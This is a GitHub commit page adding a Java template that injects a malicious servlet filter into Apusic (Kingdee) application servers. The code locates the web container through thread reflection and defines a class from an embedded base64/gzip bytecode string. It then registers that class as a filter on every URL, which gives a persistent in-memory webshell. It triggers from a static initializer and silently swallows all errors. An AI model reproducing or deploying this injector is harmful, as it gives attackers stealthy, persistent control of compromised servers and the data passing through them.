Skip to content

Commit cec7105

Browse files
committed
add: 添加对 Apusic(金蝶)Filter/Listener 的支持
1 parent 6127a9e commit cec7105

File tree

2 files changed

+426
-0
lines changed

2 files changed

+426
-0
lines changed
Lines changed: 223 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,223 @@
1+
package jmg.core.template;
2+
3+
import java.io.*;
4+
import java.lang.reflect.Constructor;
5+
import java.lang.reflect.Field;
6+
import java.lang.reflect.InvocationTargetException;
7+
import java.lang.reflect.Method;
8+
import java.util.ArrayList;
9+
import java.util.List;
10+
import java.util.zip.GZIPInputStream;
11+
12+
/**
13+
* Author: pen4uin
14+
* Tested version:Apusic Enterprise Edition 9.0 SP5
15+
*/
16+
17+
public class ApusicFilterInjectorTpl {
18+
19+
public String getUrlPattern() {
20+
return "/*";
21+
}
22+
23+
public String getClassName() {
24+
return "";
25+
}
26+
27+
public String getBase64String() throws IOException {
28+
return "";
29+
}
30+
31+
static {
32+
new ApusicFilterInjectorTpl();
33+
}
34+
35+
public ApusicFilterInjectorTpl() {
36+
try {
37+
List<Object> containers = getContainer();
38+
for (Object container : containers) {
39+
Object filter = getFilter(container);
40+
addFilter(container, filter);
41+
}
42+
} catch (Exception ignored) {
43+
44+
}
45+
46+
}
47+
48+
public synchronized List<Object> getContainer() {
49+
List<Object> containers = new ArrayList<Object>();
50+
Thread[] threads = getThreads();
51+
try {
52+
for (Thread thread : threads) {
53+
if (thread.getClass().getName().contains("DefaultSessionManager")) {
54+
Object container = getFV(getFV(thread, "this$0"), "container");
55+
if (container.getClass().getName().contains("WebContainer")) {
56+
containers.add(container);
57+
}
58+
}
59+
}
60+
} catch (Exception ignored) {
61+
62+
}
63+
return containers;
64+
}
65+
66+
public Thread[] getThreads(){
67+
Thread[] var0 = null;
68+
69+
try {
70+
var0 = (Thread[])(invokeMethod(Thread.class, "getThreads"));
71+
} catch (Exception var3) {
72+
ThreadGroup var2 = Thread.currentThread().getThreadGroup();
73+
var0 = new Thread[var2.activeCount()];
74+
var2.enumerate(var0);
75+
}
76+
77+
return var0;
78+
}
79+
80+
private synchronized Object getFilter(Object container) throws Exception {
81+
Object filter = null;
82+
ClassLoader loader = (ClassLoader) invokeMethod(container, "getClassLoader");
83+
try {
84+
filter = loader.loadClass(getClassName()).newInstance();
85+
} catch (Exception e) {
86+
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
87+
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
88+
defineClass.setAccessible(true);
89+
Class clazz = (Class) defineClass.invoke(loader, clazzByte, 0, clazzByte.length);
90+
filter = clazz.newInstance();
91+
}
92+
return filter;
93+
}
94+
95+
96+
public void addFilter(Object container, Object filter) {
97+
try {
98+
String filterName = filter.getClass().getSimpleName();
99+
String filterClassName = filter.getClass().getName();
100+
if (isInjected(container, filterName)) {
101+
return;
102+
}
103+
Object webapp = invokeMethod(container, "getWebModule");
104+
Object filterMapping = Class.forName("com.apusic.deploy.runtime.FilterMapping").newInstance();
105+
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
106+
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
107+
invokeMethod(filterMapping, "setDispatcher", new Class[]{int.class}, new Object[]{2});
108+
invokeMethod(webapp, "addBeforeFilterMapping", new Class[]{filterMapping.getClass()}, new Object[]{filterMapping});
109+
110+
Constructor filterModelConstructor = Class.forName("com.apusic.deploy.runtime.FilterModel").getConstructor(new Class[]{webapp.getClass()});
111+
Object filterModel = filterModelConstructor.newInstance(new Object[]{webapp});
112+
invokeMethod(filterModel, "setDescription", new Class[]{String.class}, new Object[]{""});
113+
invokeMethod(filterModel, "setDisplayName", new Class[]{String.class}, new Object[]{""});
114+
invokeMethod(filterModel, "setName", new Class[]{String.class}, new Object[]{filterName});
115+
invokeMethod(filterModel, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
116+
117+
invokeMethod(webapp, "addFilter", new Class[]{filterModel.getClass()}, new Object[]{filterModel});
118+
Object allFilterMappings = invokeMethod(webapp, "getAllFilterMappings");
119+
120+
invokeMethod(getFV(container, "filterMapper"), "populate", new Class[]{allFilterMappings.getClass()}, new Object[]{allFilterMappings});
121+
invokeMethod(container, "loadFilters");
122+
} catch (Exception ignored) {
123+
}
124+
}
125+
126+
127+
public boolean isInjected(Object container, String filterName) throws Exception {
128+
Object filter = invokeMethod(getFV(container, "webapp"), "getFilter", new Class[]{String.class}, new Object[]{filterName});
129+
return filter != null;
130+
}
131+
132+
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
133+
Class<?> decoderClass;
134+
try {
135+
decoderClass = Class.forName("sun.misc.BASE64Decoder");
136+
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
137+
} catch (Exception ignored) {
138+
decoderClass = Class.forName("java.util.Base64");
139+
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
140+
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
141+
}
142+
}
143+
144+
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
145+
ByteArrayOutputStream out = new ByteArrayOutputStream();
146+
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
147+
GZIPInputStream ungzip = new GZIPInputStream(in);
148+
byte[] buffer = new byte[256];
149+
int n;
150+
while ((n = ungzip.read(buffer)) >= 0) {
151+
out.write(buffer, 0, n);
152+
}
153+
return out.toByteArray();
154+
}
155+
156+
157+
static Object getFV(Object obj, String fieldName) throws Exception {
158+
Field field = getF(obj, fieldName);
159+
field.setAccessible(true);
160+
return field.get(obj);
161+
}
162+
163+
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
164+
Class<?> clazz = obj.getClass();
165+
while (clazz != null) {
166+
try {
167+
Field field = clazz.getDeclaredField(fieldName);
168+
field.setAccessible(true);
169+
return field;
170+
} catch (NoSuchFieldException e) {
171+
clazz = clazz.getSuperclass();
172+
}
173+
}
174+
throw new NoSuchFieldException(fieldName);
175+
}
176+
177+
178+
static synchronized Object invokeMethod(Object targetObject, String methodName) throws Exception {
179+
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
180+
}
181+
182+
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws Exception {
183+
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
184+
Method method = null;
185+
186+
Class tempClass = clazz;
187+
while (method == null && tempClass != null) {
188+
try {
189+
if (paramClazz == null) {
190+
// Get all declared methods of the class
191+
Method[] methods = tempClass.getDeclaredMethods();
192+
for (int i = 0; i < methods.length; i++) {
193+
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
194+
method = methods[i];
195+
break;
196+
}
197+
}
198+
} else {
199+
method = tempClass.getDeclaredMethod(methodName, paramClazz);
200+
}
201+
} catch (NoSuchMethodException e) {
202+
tempClass = tempClass.getSuperclass();
203+
}
204+
}
205+
if (method == null) {
206+
throw new NoSuchMethodException(methodName);
207+
}
208+
method.setAccessible(true);
209+
if (obj instanceof Class) {
210+
try {
211+
return method.invoke(null, param);
212+
} catch (IllegalAccessException e) {
213+
throw new RuntimeException(e.getMessage());
214+
}
215+
} else {
216+
try {
217+
return method.invoke(obj, param);
218+
} catch (IllegalAccessException e) {
219+
throw new RuntimeException(e.getMessage());
220+
}
221+
}
222+
}
223+
}

0 commit comments

Comments
 (0)